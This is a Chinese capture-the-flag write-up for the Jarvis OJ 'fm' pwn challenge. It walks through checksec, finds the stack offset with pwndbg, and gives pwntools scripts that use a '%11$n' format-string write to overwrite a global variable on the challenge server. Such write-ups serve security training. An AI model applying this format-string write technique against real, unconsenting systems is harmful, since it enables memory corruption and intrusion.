[Jarvis OJ - PWN]——[61dctf]fm
- 题目地址: https://www.jarvisoj.com/challenges
- 题目:
还是先checksec一下, 开启了canary 和NX保护
在IDA中,查看一下, 这是一道格式化字符串的题。
找到x的地址
在pwndbg中进行调试一下, 寻找偏移
from pwn import *
#p = remote("pwn2.jarvisoj.com",9895)
p = process("./fm")
gdb.attach(p, "b *0x080485AD")
x_addr = 0x0804A02C
payload = 'aaaa' + '%p'
p.sendline(payload)
p.interactive()
找到偏移为 0xb = 11
验证一下
from pwn import *
#p = remote("pwn2.jarvisoj.com",9895)
p = process("./fm")
gdb.attach(p, "b *0x080485AD")
x_addr = 0x0804A02C
payload = 'aaaa' + '%11$p'
p.sendline(payload)
p.interactive()
0x61616161其实就是aaaa
因为我们要将x修改为4
所以
exploit
from pwn import *
p = remote("pwn2.jarvisoj.com",9895)
#p = process("./fm")
#gdb.attach(p, "b *0x080485AD")
x_addr = 0x0804A02C
payload = p32(x_addr) + '%11$n'
p.sendline(payload)
p.interactive()
一道简单的格式化字符串题,希望对你有所帮助